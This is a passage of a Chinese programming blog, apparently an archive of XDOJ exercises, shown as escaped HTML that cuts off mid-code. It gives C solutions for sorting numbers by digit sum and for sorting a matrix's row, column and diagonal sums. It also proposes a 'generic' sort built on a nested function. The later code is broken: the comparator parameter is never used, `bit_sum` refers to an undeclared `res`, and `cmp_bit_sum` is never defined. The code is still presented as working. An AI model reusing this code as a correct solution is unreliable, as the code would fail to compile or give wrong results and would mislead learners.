class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, j, n, *arr, tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e *)\u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;arr[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt; n; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (compare(arr[i], arr[j]) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e||(compare(arr[i], arr[j]) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026amp;\u0026amp;arr[i] \u0026gt; arr[j]))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tmp = arr[i], arr[i] = arr[j], arr[j] = tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\\n\u0026#34;\u003c/span\u003e, arr[i], bit_sum(arr[i]));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebit_sum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (num)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res += num % \u003cspan class=\"number\"\u003e10\u003c/span\u003e, num /= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e bit_sum(a) \u0026gt; bit_sum(b)?\u003cspan class=\"number\"\u003e1\u003c/span\u003e:bit_sum(a) == bit_sum(b)?\u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ebit_sum\u003c/code\u003e是计算各位和的函数,\u003ccode\u003ecompare\u003c/code\u003e是比较两个数各位和大小的函数。逻辑在主程序中完成。\u003c/p\u003e\u003ch2 id=\"74-矩阵\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#74-%E7%9F%A9%E9%98%B5\" class=\"headerlink\" title=\"74.矩阵\"\u003e\u003c/a\u003e74.矩阵\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e *arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, *arr, *res, i, j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e *)\u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * n * \u003cspan class=\"number\"\u003e2\u003c/span\u003e + \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e *)\u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * n * n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n * n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;arr[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (res[i] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; n; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[i] += arr[i * n + j];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (; i \u0026lt; n * \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (res[i] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; n; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[i] += arr[i - n + j * n];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = res[i] = res[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; n; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[i] += arr[j + j * n];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e] += arr[n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e - j + j * n];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sort(res, n * \u003cspan class=\"number\"\u003e2\u003c/span\u003e + \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n * \u003cspan class=\"number\"\u003e2\u003c/span\u003e + \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d \u0026#34;\u003c/span\u003e, res[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e *arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, j, tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; len - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt; len; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (arr[i] \u0026lt; arr[j])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tmp = arr[i], arr[i] = arr[j], arr[j] = tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e大概算了一下规律,然后用一维数组解决了。\u003c/p\u003e\u003cp\u003e比较有意思的一个是,我们可以把这个\u003ccode\u003esort\u003c/code\u003e函数改进一下,变成一个更通用的排序函数。这样,上一个题也能用它解决了。\u003c/p\u003e\u003cp\u003e上代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e *arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len,\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*cmp)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e b))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eexchange\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e *a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e *b)\u003c/span\u003e{\u003cspan class=\"type\"\u003eint\u003c/span\u003e i;i=*a,*a=*b,*b=i;}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, j, tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; len - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt; len; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (arr[i] \u0026lt; arr[j])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e exchange(\u0026amp;arr[i], \u0026amp;arr[j]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里的函数嵌套是C语言支持但不推荐的特性。我用\u003ccode\u003egcc\u003c/code\u003e可以编译。\u003c/p\u003e\u003cp\u003e用它来解决上一题:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e *arr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e len,\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*cmp)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e b))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebit_sum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e{\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res\u0026gt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e?res%\u003cspan class=\"number\"\u003e10\u003c/span\u003e+bit_sum(res/\u003cspan class=\"number\"\u003e10\u003c/span\u003e):\u003cspan class=\"number\"\u003e0\u003c/span\u003e;}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, j, n, *arr, tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e *)\u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;arr[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sort(arr, n, cmp_bit_sum);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\\n\u0026#34;\u003c/span\u003e, arr[i], bit_sum(arr[i]));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan 